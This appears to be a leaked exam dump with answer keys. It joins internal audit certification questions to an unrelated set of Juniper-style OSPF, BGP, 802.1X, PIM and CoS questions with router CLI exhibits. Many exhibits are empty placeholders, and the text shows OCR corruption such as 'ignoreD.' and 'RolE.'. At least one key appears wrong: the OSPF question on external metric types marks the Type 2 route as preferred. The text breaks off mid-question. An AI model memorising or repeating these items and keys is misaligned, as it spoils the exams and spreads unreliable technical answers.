Ongoing internal assessments of the performance of the internal audit department.
2.
Periodic internal reviews through self-assessments.
3.
Assessments conducted by a qualified external reviewer at least once every five years.
A. 1 only
B. 1 and 2 only
C. 2 and 3 only
D. 1, 2, and 3
Correct Answer: D
QUESTION 19
The internal audit activity of an investment company received a request to provide assurance on the risk management
process. Preliminary discussion with senior management revealed that separate functions within the organization
perform some form of risk management activities. Which of the following is the most effective tool for ensuring that risk
management activities are coordinated among these functions?
A. Delphi technique.
B. Assurance map.
C. Facilitated workshop.
D. Analytical reviews.
Correct Answer: B
QUESTION 20
An organization has a large number of vendors supplying goods to its various branches across the region. The code of
conduct statements signed by the employees specify that the employees or their families will not sell goods to the
organization. However, during the internal audit of a branch, the internal auditor suspected that some of the employees
may be supplying goods to the organization contrary to the code of conduct. The chief audit executive has requested
that a thorough review be completed to identify the potential employee vendors. Of the following tests, it would be least
useful to compare [List A] with [List B].
[List A] [List B]
A. Vendor bank account numbers Employee bank account numbers
B. Dates of payments to vendors Dates of salary payments to employees
C. Addresses of vendors from the vendor database Addresses of employees from the employee database D. Vendor names Employee names
Correct Answer: B
QUESTION 21
Which of the following is most appropriate when conducting an interview during the course of a fraud investigation?
A. Schedule the interview well in advance.
B. Explain the detailed purpose to the interviewee.
C. Assume that the interviewee is guilty.
D. Have a witness present during the interview.
Correct Answer: D
QUESTION 22
In addition to the internal auditor, which of the following parties should be present at an exit or closing conference?
1.
Audit committee members.
2.
The external auditor.
3.
The management responsible for the areas covered by the engagement.
4.
The chief executive officer.
A. 2 only
B. 3 only
C. 3 and 4 only
D. 1, 3, and 4 only
Correct Answer: B
QUESTION 23
Which of the following is a preventive control for fraud?
A. Determining if the number of manually prepared disbursement checks is high.
B. Reconciling the purchase orders with the requisitions.
C. Verifying that new vendors appear on the vendor pre-approved list. D. Conducting an inventory count of the warehouse.
Correct Answer: C
QUESTION 24
The most effective procedure to verify compliance with a requirement that materials be purchased from the lowest-
priced source is to compare:
A. Prices paid for selected materials with prices listed on related purchase orders.
B. Bids obtained for selected purchases with related purchase orders.
C. Vendors\’ current prices with prices listed on related purchase orders.
D. Approved vendor lists with bids obtained for selected purchases.
Correct Answer: B
QUESTION 25
An organization\’s policies allow buyers to authorize expenditures up to $50,000 without any other approval. Which of
the following audit procedures would be most effective in determining if fraud in the form of payments to fictitious
companies has occurred?
A. Use generalized audit software to list all purchases over $50,000 to determine whether they were properly approved.
B. Develop a snapshot technique to trace all transactions by suspected buyers.
C. Use generalized audit software to take a random sample of all expenditures under $50,000 to determine whether
they were properly approved.
D. Use generalized audit software to select a sample of paid invoices to new vendors and examine evidence that shows
that services or goods were received.
Correct Answer: D
QUESTION 26
The scope of a business process review primarily involves:
A. Appraising the environment and comparing against established criteria.
B. Assessing the organization\’s system of internal controls.
C. Reviewing routine financial information and assessing the appropriateness of various accounting treatments.
D. Evaluating organizational and departmental structures, including assessments of transaction flows.
Correct Answer: D
QUESTION 27
As part of an operational audit, an auditor compared records of current inventory with usage during the prior two-year
period and determined that the spare parts
inventory was excessive. What step should the auditor perform first?
A. Determine the effects of a stock-out on the organization\’s profitability.
B. Determine whether a clear policy exists for setting inventory limits.
C. Determine who approved the purchase orders for the spare parts.
D. Determine whether purchases were properly recorded.
Correct Answer: B
QUESTION 28
Why should internal auditors develop a strong relationship with the external auditors?
A. External auditors offer an additional layer of approval to internal auditors\’ reports.
B. External auditors can help improve the effectiveness of internal control sampling techniques.
C. External auditors can offer an independent and knowledgeable viewpoint.
D. External auditors can share information gained from work with similar clients.
Correct Answer: C
QUESTION 29
According to the International Professional Practices Framework, the internal audit activity\’s decision to defer follow-up
of recommendations and management\’s corrective actions until the next scheduled engagement for the area is justified
when:
A. The reported findings or recommendations are significant enough to require immediate action by management.
B. The action taken by management to address the recommendation is sufficient when weighed against the importance
of the finding.
C. Management has adequately understood and appropriately accepted the risk of not taking action to implement the
recommendation.
D. The significance of the finding or recommendation will allow auditors to perform monitoring by receiving periodic
updates from management on corrective actions taken.
Correct Answer: B
QUESTION 30
An internal auditor is assigned to conduct an audit of security for a local area network (LAN) in the finance department
of the organization. Investment decisions, including the use of hedging strategies and financial derivatives, use data and
financial models which run on the LAN. The LAN is also used to download data from the mainframe to assist in
decisions. Which of the following should be considered outside the scope of this security audit engagement?
A. Investigation of the physical security over access to the components of the LAN.
B. The ability of the LAN application to identify data items at the field or record level and implement user access security
at that level. C. Interviews with users to determine their assessment of the level of security in the system and the vulnerability of the
system to compromise.
D. The level of security of other LANs in the company which also utilize sensitive data.
Correct Answer: D
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Exam B
QUESTION 1
R1 and R2 are ASBRs in the same area, each with an equal cost external path to the same external network prefix. R1 advertises an external route into OSPF
with a Type 1 metric. R2 advertises an external route into OSPF with a Type 2 metric.
Which route would be preferred?
A. R1’s route is preferred because Type 1 metrics take into account the external cost only.
B. R1’s route is preferred because Type 1 metrics take into account the internal and external cost.
C. R2’s route is preferred because Type 2 metrics take into account the internal and external cost.
D. R2’s route is preferred because Type 2 metrics take into account the external cost only.
Correct Answer: D
QUESTION 2
— Exhibit
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, which LSA type will Router R2 inject into Area 1?
A. Type 3 LSA
B. Type 4 LSA
C. Type 5 LSA
D. Type 7 LSA
Correct Answer: A
QUESTION 3
— Exhibit —
[edit protocols ospf] [email protected]# show
area 0.0.0.6 {
nssa {
default-lsa default-metric 10;
area-range 184.23.12.0/24;
}
interface ge-1/1/4;
}
[edit protocols ospf] [email protected]# show ospf database
OSPF database, Area 0.0.0.0
Type ID Adv Rtr Seq Age Opt Cksum Len
Router *192.168.0.2 192.168.0.2 0x80000004 749 0x22 0x87c2 60 Router 192.168.0.3 192.168.0.3 0x80000004 399 0x22 0x94b5 60 Summary *10.0.0.0
192.168.0.2 0x80000003 19 0x22 0xe2e4 28 Summary *192.168.0.1 192.168.0.2 0x80000002 1100 0x22 0xbda7 28
OSPF database, Area 0.0.0.6
Type ID Adv Rtr Seq Age Opt Cksum Len
Router 192.168.0.1 192.168.0.1 0x80000004 404 0x20 0x76db 60 Router *192.168.0.2 192.168.0.2 0x80000003 1802 0x20 0x319b 48 Summary *11.0.0.0
192.168.0.2 0x80000002 2504 0x20 0xf5d3 28 Summary *192.168.0.2 192.168.0.2 0x80000003 2153 0x20 0xc5a0 28 Summary *192.168.0.3 192.168.0.2
0x80000002 398 0x20 0xc79d 28 NSSA *0.0.0.0 192.168.0.2 0x80000001 11 0x20 0xcbf1 36 NSSA 184.23.12.0 192.168.0.1 0x80000002 447 0x28 0xb93f 36
OSPF AS SCOPE link state database Type ID Adv Rtr Seq Age Opt Cksum Len
Extern *184.23.12.0 192.168.0.2 0x80000003 11 0x22 0x28d6 36 — Exhibit —
Click the Exhibit button.
Referring to the exhibit, which two statements are correct? (Choose two.)
A. R2 injects a Type 3 LSA for 184.23.12.0/24 into the backbone.
B. R2 is an ABR.
C. R2 injects a Type 5 LSA for 184.23.12.0/24 into the backbone.
D. R2 is an ASBR.
Correct Answer: BC
QUESTION 4
— Exhibit
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, which type of LSA will be seen on router A for routes originating in Customer A’s network?
A. Type 7 LSA
B. Type 2 LSA
C. Type 5 LSA
D. Type 1 LSA
Correct Answer: C
QUESTION 5
Which statement is true regarding OSPF multi-area adjacencies?
A. A type 3 (stub) link is advertised for a multi-area adjacency.
B. Configuring a multi-area adjacency allows the corresponding link to be considered an interarea link, so it will be less preferred over an intra-area link.
C. One logical interface will be a primary link, and the other configured as a secondary link; the secondary link will be established as an unnumbered point-to-
point interface.
D. A DR and a BDR will be elected over the secondary interface, because it is not point-to-point.
Correct Answer: C
QUESTION 6
— Exhibit
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, which two statements are correct? (Choose two.)
A. Traffic destined for R2 will be blackholed.
B. Transit traffic will follow the R1-R2-R4 path.
C. Traffic destined for R2 will reach R2.
D. Transit traffic will follow the R1-R3-R4 path.
Correct Answer: CD
QUESTION 7
Which statement is true about using an OSPF import policy?
A. Import policies are not allowed in OSPF, applying the policy will do nothing.
B. Applying an import policy to OSPF may block normal LSA flooding.
C. Import policies are allowed only for external route types.
D. Applying this policy will cause a commit failure.
Correct Answer: C
QUESTION 8
Which statement is true regarding the SPF algorithm?A. The SPF algorithm is run on a per-domain basis.
B. If you apply an import policy to OSPF, it keeps LSAs from being flooded, and the SPF calculation can be affected.
C. There are two databases used in the calculation, the link-state database and the tree database.
D. The SPF calculation is run on a per-area basis on each router.
Correct Answer: D
QUESTION 9
You are asked to configure graceful restart in your network.
Which OSPF LSA type would you expect to see in the LSDB?
A. Type 8
B. Type 9
C. Type 10
D. Type 11
Correct Answer: B
QUESTION 10
— Exhibit
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, which answer is correct?
A. R2 is the DR and R1 is the BDR.
B. R4 is the DR and R2 is the BDR.
C. R2 is the DR and R3 is the BDR.
D. R3 is the DR and R2 is the BDR.
Correct Answer: C
QUESTION 11
— Exhibit — [email protected]> show ospf database network extensive
OSPF link state database, area 0.0.0.1
Type ID Adv Rtr Seq Age Opt Cksum Len
Network 10.222.1.1 192.168.20.1 0x80000002 813 0x2 0x 32 mask 255.255.255.0 attached router 192.168.20.1
attached router 192.168.40.1
Aging timer 00:46:27
Installed 00:13:32 ago, expires in 00:46:27, sent 1w5d 01:07:09 ago
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, which statement is true regarding the OSPF network LSA?
A. The ID field value shows the router ID of the advertising router.
B. The ID field is the local interface IP address from which the LSA will be advertised.
C. The options field indicates this is a Type 2 LSA.
D. The output shows that 192.168.20.1 is the designated router.
Correct Answer: D
QUESTION 12
— Exhibit — [email protected]> show log ospf
Sep 19 00:22:13.420315 OSPF packet ignoreD. MTU mismatch from 11.0.0.2 on intf ge-0/0/2.0 area 0.0.0.0
Sep 19 00:22:14.475671 OSPF periodic xmit from 14.0.0.1 to 224.0.0.5 (IFL 75 area 0.0.0.0) Sep 19
00:22:14.855490 OSPF periodic xmit from 12.0.0.1 to 224.0.0.5 (IFL 84 area 0.0.0.0) Sep 19
00:22:14.857304 OSPF packet ignoreD. no matching interface from 12.0.0.1, IFL 85 Sep 19
00:22:17.386726 OSPF packet ignoreD. MTU mismatch from 11.0.0.2 on intf ge-0/0/2.0 area 0.0.0.0 Sep 19 00:22:20.855690 OSPF packet ignoreD. subnet
mismatch from 10.0.0.2 on intf ge-0/0/1.0 area 0.0.0.0
Sep 19 00:22:20.856108 OSPF rcvd Hello 10.0.0.2 -> 224.0.0.5 (ge-0/0/1.0 IFL 75 area 0.0.0.0) Sep 19
00:22:20.856177 Version 2, length 44, ID 10.0.0.2, area 0.0.0.0 Sep 19 00:22:20.856229 checksum 0x0, authtype 0
Sep 19 00:22:20.856299 mask 255.255.255.252, hello_ivl 10, opts 0x12, prio 128 Sep 19 00:22:20.856352 dead_ivl 40, DR 0.0.0.0, BDR 0.0.0.0 Sep 19
00:22:21.752438 OSPF packet ignoreD. MTU mismatch from 11.0.0.2 on intf ge-0/0/2.0 area 0.0.0.0
Sep 19 00:22:22.013285 OSPF packet ignoreD. area mismatch (0.0.0.1) from 12.0.0.2 on intf ge- 0/0/4.0 area 0.0.0.0
Sep 19 00:22:22.013749 OSPF rcvd Hello 12.0.0.2 -> 224.0.0.5 (ge-0/0/4.0 IFL 84 area 0.0.0.0) Sep 19
00:22:22.013804 Version 2, length 44, ID 10.0.0.2, area 0.0.0.1 Sep 19 00:22:22.013890 checksum 0xd51e, authtype 0
Sep 19 00:22:22.013944 mask 255.255.255.252, hello_ivl 10, opts 0x12, prio 128 Sep 19 00:22:22.014012 dead_ivl 40, DR 12.0.0.2, BDR 0.0.0.0 Sep 19
00:22:22.016909 OSPF packet ignoreD. no matching interface from 12.0.0.2, IFL 85 Sep 19 00:22:22.434956 OSPF hello from 11.0.0.2 (IFL 83, area 0.0.0.0)
absorbed Sep 19 00:22:23.045916 OSPF periodic xmit from 12.0.0.1 to 224.0.0.5 (IFL 84 area 0.0.0.0) Sep 19 00:22:23.047959 OSPF packet ignoreD. no
matching interface from 12.0.0.1, IFL 85 Sep 19
00:22:23.309957 OSPF periodic xmit from 11.0.0.1 to 224.0.0.5 (IFL 83 area 0.0.0.0) Sep 19
00:22:23.528614 OSPF periodic xmit from 14.0.0.1 to 224.0.0.5 (IFL 75 area 0.0.0.0) Sep 19
00:22:25.772835 OSPF packet ignoreD. MTU mismatch from 11.0.0.2 on intf ge-0/0/2.0 area 0.0.0.0 Sep 19 00:22:29.950015 OSPF hello from 11.0.0.2 (IFL 83,
area 0.0.0.0) absorbed Sep 19
00:22:30.622112 OSPF packet ignoreD. MTU mismatch from 11.0.0.2 on intf ge-0/0/2.0 area 0.0.0.0 Sep 19 00:22:30.713279 OSPF packet ignoreD. subnet
mismatch from 10.0.0.2 on intf ge-0/0/1.0 area 0.0.0.0
Sep 19 00:22:30.713432 OSPF rcvd Hello 10.0.0.2 -> 224.0.0.5 (ge-0/0/1.0 IFL 75 area 0.0.0.0) Sep 19
00:22:30.713503 Version 2, length 44, ID 10.0.0.2, area 0.0.0.0 Sep 19 00:22:30.713553 checksum 0x0, authtype 0
Sep 19 00:22:30.713622 mask 255.255.255.252, hello_ivl 10, opts 0x12, prio 128 Sep 19 00:22:30.713677 dead_ivl 40, DR 0.0.0.0, BDR 0.0.0.0 — Exhibit —
Click the Exhibit button.
Referring to the exhibit, what is preventing the OSPF adjacency on interface ge-0/0/4 from forming?
A. area mismatch
B. subnet mismatch
C. MTU mismatch
D. authentication mismatch
Correct Answer: A
QUESTION 13
— Exhibit —
[edit protocols ospf] [email protected]# show
area 0.0.0.3 {
stub default-metric 10 no-summaries;
interface ge-0/1/1.0;
}
— Exhibit —
Click the Exhibit button.
Referring to the output in the exhibit, which statement is true?
A. R2 is an ABR and will send a Type 7 LSA 0/0 route down into the nonbackbone area.
B. R2 is an ABR and will send a Type 3 LSA 0/0 route down into the nonbackbone area.
C. R2 will not send a Type 3 LSA 0/0 route into the nonbackbone area.
D. R2 will add a metric cost of 10 to the existing metric of a 0/0 route it receives from the backbone area and then send it into the nonbackbone area in a Type 5
LSA.
Correct Answer: B
QUESTION 14
— Exhibit — [email protected]> show ospf route
Topology default Route Table:Prefix Path Route NH Metric NextHop Nexthop
Type Type Type Interface Address/LSP
192.168.1.0/24 Intra Network IP 10 ge-0/0/1.0
— Exhibit —
Click the Exhibit button.
Which two configurations result in the output shown in the exhibit? (Choose two.)
A. [edit protocols ospf] [email protected]# show
reference-bandwidth 10g;
area 0.0.0.0 {
interface ge-0/0/1.0;
}
B. [edit protocols ospf] [email protected]# show
reference-bandwidth 1g;
area 0.0.0.0 {
interface ge-0/0/1.0;
}
C. [edit protocols ospf] [email protected]# show
reference-bandwidth 1m;
area 0.0.0.0 {
interface ge-0/0/1.0 {
metric 10;
}
}
D. [edit protocols ospf] [email protected]# show
reference-bandwidth 100m;
area 0.0.0.0 {
interface ge-0/0/1.0;
}
Correct Answer: AC
QUESTION 15
— Exhibit
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, you are asked to prevent the 184.16.1.0/24 route from entering the backbone.
Which configuration statements would accomplish the task?
A. On router R1, issue the set protocols ospf area 3 nssa area-range 184.16.1.0/24 restrict command.
B. On router R3, issue the set protocols ospf area 0 area-range 184.16.1.0/24 restrict command.
C. On router R3, issue the set protocols ospf area 3 area-range 184.16.1.0/24 restrict command.
D. On router R3, issue the set protocols ospf area 3 nssa area-range 184.16.1.0/24 restrict command.
Correct Answer: D
QUESTION 16
— Exhibit
— Exhibit —
Click the Exhibit button.
In the exhibit, R5 is receiving five 200.1.1.x routes from the RIP router, and is advertising them into Area 1 using an export policy. You do not want any of the RIP
routes to be in the routing table of R1.
Which two solutions meet this requirement? (Choose two.)
A. On R1, configure an export policy to reject the routes.
B. On R1, configure an import policy to reject the routes.
C. On R1, configure each address as a martian route.
D. On R1, configure the no-nssa-abr option.
Correct Answer: BC
QUESTION 17
— Exhibit
— Exhibit —
Click the Exhibit button.
In the exhibit, a customer wants to configure an EBGP connection to two different routers in a neighboring autonomous system. The goal of this configuration is to
use per-prefix load balancing across both EBGP links.
Which configuration accomplishes this goal?
A. {master:0}[edit] [email protected]# show protocols bgp
group External {
multihop;
peer-as 65532;
neighbor 10.10.2.2;
neighbor 10.20.2.2;
}
B. {master:0}[edit] [email protected]# show protocols bgp
group External {
multipath;
peer-as 65532;
neighbor 10.10.2.2;
neighbor 10.20.2.2;
}
C. {master:0}[edit] [email protected]# show protocols bgp
group External {
multihop;
local-address 192.168.2.1;
peer-as 65532;
neighbor 10.10.2.2;
neighbor 10.20.2.2;
} [email protected]# show routing-options
static {
route 0.0.0.0 next-hop [ 10.10.2.2 10.20.2.2 ];
}
autonomous-system 65432;
D. {master:0}[edit] [email protected]# show protocols bgp
group External {
multihop;local-address 192.168.2.1;
peer-as 65532;
multipath;
neighbor 10.10.2.2;
neighbor 10.20.2.2;
} [email protected]# show routing-options
static {
route 0.0.0.0 next-hop [ 10.10.2.2 10.20.2.2 ];
}
autonomous-system 65432;
Correct Answer: B
QUESTION 18
— Exhibit
— Exhibit —
Click the Exhibit button.
Referring to the exhibit, R4 in AS 100 is sending routes 20.0.0.0/8 and 10.0.0.0/8. R3 sees the routes but R5 does not.
What must be configured on the R3 router for the R5 router to install the routes?
A. a next-hop self policy
B. as-override toward the R5 router
C. as-loops 2
D. local-as 100
Correct Answer: B
QUESTION 19
— Exhibit
— Exhibit —
Click the Exhibit button.
You are asked to configure an OSPF virtual link that connects remote Area 4 to the backbone.
Referring to the exhibit, what are two requirements for an OSPF virtual link to operate correctly? (Choose two.)
A. A virtual link configuration on the ABR between Areas 0 and 1 must include transit area 1.
B. The interface of the transit area must be of type vt.
C. A virtual link configuration on the ABR between Areas 0 and 1 must be the interface address of the neighbor on the far end.
D. A virtual link configuration on the ABR between Areas 0 and 1 must be the router ID (RID) of the neighbor on the far end.
Correct Answer: AD
QUESTION 20
— Exhibit
— Exhibit —
Click the Exhibit button.
In the exhibit, R5 is receiving five 200.1.1.x routes from the RIP router, and is advertising them into Area 1 using an export policy. You want to summarize the RIP
routes into Area 0 with the most specific prefix.
Which configuration will accomplish goal?
A. [edit protocols] [email protected]# show
ospf {
area 0.0.0.0 {
area-range 200.1.1.0/29;
interface ge-0/0/1.0;
interface ge-0/0/2.0;
interface lo0.0;
}
area 0.0.0.1 {
nssa {
default-lsa type-7;
}
interface ge-0/0/3.0;
}
}
B. [edit protocols] [email protected]# show
ospf {
area 0.0.0.0 {
interface ge-0/0/1.0;
interface ge-0/0/2.0;
interface lo0.0;
}
area 0.0.0.1 {
nssa {
default-lsa type-7;
area-range 200.1.1.0/28;
}
interface ge-0/0/3.0;
}
}
C. [edit protocols] [email protected]# show
ospf {
area 0.0.0.0 {
interface ge-0/0/1.0;
interface ge-0/0/2.0;
interface lo0.0;
}
area 0.0.0.1 {
nssa {
default-lsa type-7;
area-range 200.1.1.0/29;
}
interface ge-0/0/3.0;
}
}
D. [edit protocols] [email protected]# show
ospf {
area 0.0.0.0 {
area-range 200.1.1.0/28;
interface ge-0/0/1.0;
interface ge-0/0/2.0;
interface lo0.0;
}
area 0.0.0.1 {
nssa {
default-lsa type-7;
}
interface ge-0/0/3.0;
}
}
Correct Answer: C
QUESTION 21
— Exhibit — [email protected]> show bgp summary
Groups: 3 Peers: 3 Down peers: 0
Table Tot Paths Act Paths Suppressed History Damp State Pending inet.0 10 8 0 0 0 0 inet6.0 4 3 0 0 0 0
Peer AS InPkt OutPkt OutQ Flaps Last Up/Dwn State|
#Active/Received/Accepted/Damped…
10.0.3.5 65550 41 52 0 2 17:45 5/5/5/0 0/0/0/0
172.16.0.6 65010 52 42 0 2 31 Establ
inet.0: 3/5/5/0
inet6.0: 3/4/4/0
2001:ffff::3:5 65550 43 44 0 4 17:53 Establ
inet6.0: 0/0/0/0 [email protected]>
— Exhibit —
Click the Exhibit button.
Examine the output of the show bgp summary command shown in the exhibit.
From which BGP peer is the router receiving IPv6 routes?
A. 10.0.3.5
B. 172.16.0.6
C. 2001:ffff::3:5
D. 2001:ffff:3:5
Correct Answer: B
QUESTION 22
— Exhibit — [email protected]> show dot1x interface detail ge-0/0/2.0 ge-0/0/2.0 RolE. Authenticator
Administrative statE. Auto
Supplicant modE. Multiple
Number of retries: 3
Quiet perioD. 60 seconds
Transmit perioD. 30 seconds
Mac Radius: Enabled
Mac Radius Restrict: Enabled
Reauthentication: Enabled
Configured Reauthentication interval: 3600 seconds
Supplicant timeout: 30 seconds
Server timeout: 30 seconds
Maximum EAPOL requests: 2
Guest VLAN member: <not configured>
Number of connected supplicants: 2 [email protected]>
— Exhibit —
Click the Exhibit button.
Host 1, Host 2, and Host 3 are connected to Switch A on interface ge-0/0/2. Host 1 and Host 2 do not support 802.1X. They can authenticate and connect to the
Internet. Host 3 was added and it supports 802.1X; however, it is unable to authenticate.
Referring to the exhibit, how do you allow Host 3 to authenticate to the network but maintain secure access?
A. Enable fallback authentication for 802.1X.
B. Disable MAC RADIUS Restrict option on ge-0/0/2.
C. Disable MAC RADIUS option on ge-0/0/2.
D. Enable Administrative mode for 802.1X.
Correct Answer: B
QUESTION 23
— Exhibit — [email protected]> show pim join extensive
InstancE. PIM.master Family: INET
R = Rendezvous Point Tree, S = Sparse, W = Wildcard
Group: 224.1.1.1
SourcE. *
RP: 192.168.1.1
Flags: sparse,rptree,wildcard
Upstream interfacE. Local
Upstream neighbor: Local
Upstream statE. Local RP
Downstream neighbors:
InterfacE. so-0/0/0.0
10.0.1.2 StatE. Join Flags: SRW Timeout: 176
Group: 224.1.1.1
SourcE. 10.0.5.2
Flags: sparse,spt
Upstream interfacE. unknown (no nexthop)
Upstream neighbor: unknown
Upstream statE. Local RP
Keepalive timeout: 106
Downstream neighbors:
InterfacE. so-0/0/0.010.0.1.2 StatE. Join Flags: S Timeout: 176
InstancE. PIM.master Family: INET6
R = Rendezvous Point Tree, S = Sparse, W = Wildcard — Exhibit —
Click the Exhibit button.
The CLI output shown in the exhibit was taken from the RP in a PIM-SM network.
Which statement explains the output shown in the exhibit?
A. No tunnel PIC is installed on the RP router.
B. 192.168.1.1 is not a local IP address on the RP router.
C. Multicast traffic is arriving on the so-0/0/0.0 interface.
D. The router does not have a unicast route to 10.0.5.2.
Correct Answer: D
QUESTION 24
— Exhibit —
OSPF database, Area 0.0.0.0
Type ID Adv Rtr Seq Age Opt Cksum Len
Router *10.0.3.4 10.0.3.4 0x8000000d 30 0x22 0x8d11 132 bits 0x0, link count 9 id 10.1.1.0, data 255.255.255.0, Type Stub (3)
Topology count: 0, Default metriC. 1
id 10.0.4.8, data 255.255.255.252, Type Stub (3)
Topology count: 0, Default metriC. 1
id 10.0.2.10, data 10.0.2.10, Type Transit (2)
Topology count: 0, Default metriC. 1
id 172.16.0.6, data 172.16.0.5, Type Transit (2)
Topology count: 0, Default metriC. 1
id 10.0.3.4, data 255.255.255.255, Type Stub (3)
Topology count: 0, Default metriC. 0
id 10.0.9.7, data 10.0.2.18, Type PointToPoint (1)
Topology count: 0, Default metriC. 65
id 10.0.2.16, data 255.255.255.252, Type Stub (3)
Topology count: 0, Default metriC. 65
id 10.0.3.3, data 10.0.2.6, Type PointToPoint (1)
Topology count: 0, Default metriC. 2
id 10.0.2.4, data 255.255.255.252, Type Stub (3)
Topology count: 0, Default metriC. 2
Topology default (ID 0)
TypE. PointToPoint, Node ID. 10.0.3.3
MetriC. 2, Bidirectional
TypE. PointToPoint, Node ID. 10.0.9.7
MetriC. 65, Bidirectional
TypE. Transit, Node ID. 172.16.0.6
MetriC. 1, Bidirectional
TypE. Transit, Node ID. 10.0.2.10
MetriC. 1, Bidirectional
— Exhibit —
Click the Exhibit button.
The exhibit shows the output of an OSPF router LSA.
Which interface ID represents the router’s loopback address?
A. ID 10.1.1.0
B. ID 10.0.3.4
C. ID 10.0.3.3
D. ID 10.0.2.4
Correct Answer: B
QUESTION 25
— Exhibit —
{master:0}[edit] [email protected]# show class-of-service
classifiers {
inet-precedence normal-traffic {
forwarding-class best-effort {
loss-priority low code-points [ my1 my2 ];
}
}
}
code-point-aliases {
inet-precedence {
my1 000;
my2 001;
cs1 010;
cs2 011;
cs3 100;
cs4 101;
cs5 111;
cs6 111;
}
}
— Exhibit —
Click the Exhibit button.In the exhibit, you see a configuration for CoS. Incoming traffic with specific IP precedence bits should be mapped to a forwarding class named best-effort. A
classifier named normal-traffic is defined.
What must you add to complete this configuration?
A. Include the option q-pic-large-buffer under the chassis hierarchy to accommodate the new code points.
B. Apply classifier normal traffic to the interface hierarchy under the class-of-service stanza.
C. Configure a rewrite marker on the ingress Gigabit Ethernet interface.
D. Add code point values for the expedited-forwarding forwarding class as well as the best- effort forwarding class.
Correct Answer: B
QUESTION 26
— Exhibit — [email protected]> show configuration routing-options autonomous-system 65550; [email protected]> show configuration protocols bgp
group ibgp {
type internal;
neighbor 10.0.3.5;
}
group ibgpv6 {
type internal;
local-address 2001:ffff::3:4;
neighbor 2001:ffff::3:5;
}
group as65010 {
family inet {
unicast;
}
family inet6 {
unicast;
}
export as65010-out;
peer-as 65010;
neighbor 172.16.0.6;
} [email protected]> show configuration policy-options
policy-statement as65010-out {
term locally-originated {
from as-path local-only;
then {
metric 7000;
}
}
term from-as65222 {
from as-path as65222-orig;
then as-path-prepend “65550 65550 65550 65550”;
}
term transit-as701 {
from as-path transit-as701;
then {
metric 6;
}
}
then accept;
}
as-path local-only “(.*)”;
as-path as65222-orig “.* 65222”;
as-path transit-as701 “.* 701 .*”; [email protected]> show route advertising-protocol bgp 172.16.0.6
inet.0: 43 destinations, 47 routes (43 active, 0 holddown, 0 hidden) Prefix Nexthop MED Lclpref AS path
* 10.0.2.0/30 Self 7000 I
* 10.0.2.4/30 Self 7000 I
* 10.0.2.8/30 Self 7000 I
* 10.0.2.16/30 Self 7000 I
* 10.0.3.3/32 Self 7000 I
* 10.0.3.4/32 Self 7000 I
* 10.0.3.5/32 Self 7000 I
* 10.0.4.8/30 Self 7000 I
* 10.0.8.8/30 Self 7000 I
* 10.0.9.9/32 Self 7000 I
* 10.255.255.1/32 Self 7000 I
* 64.142.88.0/24 Self 7000 I
* 130.130.0.0/16 Self 6 65222 46375 701 14203 I
* 131.131.131.0/24 Self 6 65222 46375 701 14203 I
* 132.132.0.0/25 Self 6 65222 46375 701 32934 I
* 133.133.0.0/25 Self 6 65222 46375 701 32934 I
* 134.134.0.0/25 Self 65222 46375 14203 I
* 135.135.0.0/25 Self 65222 46375 14203 14203 I
* 172.16.0.4/30 Self 7000 I
* 172.16.0.12/30 Self 7000 I
* 172.16.200.0/30 172.16.0.6 7000 I
* 192.0.2.0/24 172.16.0.6 7000 I
* 192.168.50.0/24 Self 7000 I
* 192.168.253.0/24 Self 7000 I
* 200.200.0.0/16 172.16.0.6 7000 I
* 200.200.0.1/32 172.16.0.6 7000 I
* 200.200.1.1/32 172.16.0.6 7000 I
* 200.200.200.200/32 172.16.0.6 7000 I
inet6.0: 23 destinations, 28 routes (23 active, 0 holddown, 0 hidden) Prefix Nexthop MED Lclpref AS path* ::172.16.0.4/126 Self 7000 I
* 2001:1:1::/64 Self 7000 I
* 2001:1:2::/64 Self 7000 I
* 2001:ffff::3:3/128 Self 7000 I
* 2001:ffff::3:4/128 Self 7000 I
* 2001:ffff::3:5/128 Self 7000 I
* 2001:ffff::9:7/128 Self 7000 I [email protected]>
— Exhibit —
Click the Exhibit button.
You are configuring an EBGP peer in a transit environment. You must advertise routes learned from other EBGP peers in your AS. Any routes originated from
within your AS should have a MED of 7000 set. Any routes that originate in AS65222 should be prepended four times. Any routes that transit AS701 should have a
MED set to 6. This scenario results in the unintended advertisement of internal 10.0.0.0/8 networks to your peer.
What caused the accidental advertisement of internal networks to your EBGP peer?
A. Your AS number of 65550 is a private AS number.
B. The BGP group as65010 is configured for both family inet unicast and family inet6 unicast protocol families.
C. The export policy as65010-out is misconfigured.
D. The as-path local-only includes a misconfigured regular expression.
Correct Answer: C
QUESTION 27
— Exhibit —
[edit] [email protected]# run show ospf database external lsa-id 71.23.48.0 extensive OSPF AS SCOPE link state database
Type ID Adv Rtr Seq Age Opt Cksum Len
Extern 71.23.48.0 67.176.255.5 0x80000001 114 0x22 0x171b 36 mask 255.255.248.0 Topology default (ID 0)
TypE. 2, MetriC. 0, Fwd addr: 0.0.0.0, TaG. 0.0.0.0 Aging timer 00:58:06 Installed 00:01:53 ago, expires in 00:58:06, sent 00:01:53 ago Last changed 00:01:53
ago, Change count:
Extern 71.23.48.0 67.176.255.7 0x8000005a 487 0x22 0x587e 36 mask 255.255.248.0 Topology default (ID 0)
TypE. 2, MetriC. 0, Fwd addr: 0.0.0.0, TaG. 0.0.0.0 Aging timer 00:51:52 Installed 00:08:01 ago, expires in 00:51:53, sent 00:07:59 ago Last changed 2d 19:33:58
ago, Change count: 1
Extern 71.23.48.0 67.176.255.8 0x8000005c 540 0x22 0xf73e 36 mask 255.255.248.0 Topology default (ID 0)
TypE. 1, MetriC. 30, Fwd addr: 0.0.0.0, TaG. 0.0.0.0 Aging timer 00:51:00 Installed 00:08:59 ago, expires in 00:51:00, sent 00:08:59 ago Last changed 00:08:59
ago, Change count:
— Exhibit —
Click the Exhibit button.
As shown in the exhibit, a router is receiving three external LSAs for the prefix 71.23.48.0.
Which path is preferred?
A. The path through 67.176.255.5 is preferred.
B. The path through 67.176.255.7 is preferred.
C. The path through 67.176.255.8 is preferred.
D. The paths through 67.176.255.7 and 67.176.255.8 become active to allow load-balancing.
Correct Answer: C
QUESTION 28
— Exhibit
— Exhibit —
Click the Exhibit button.
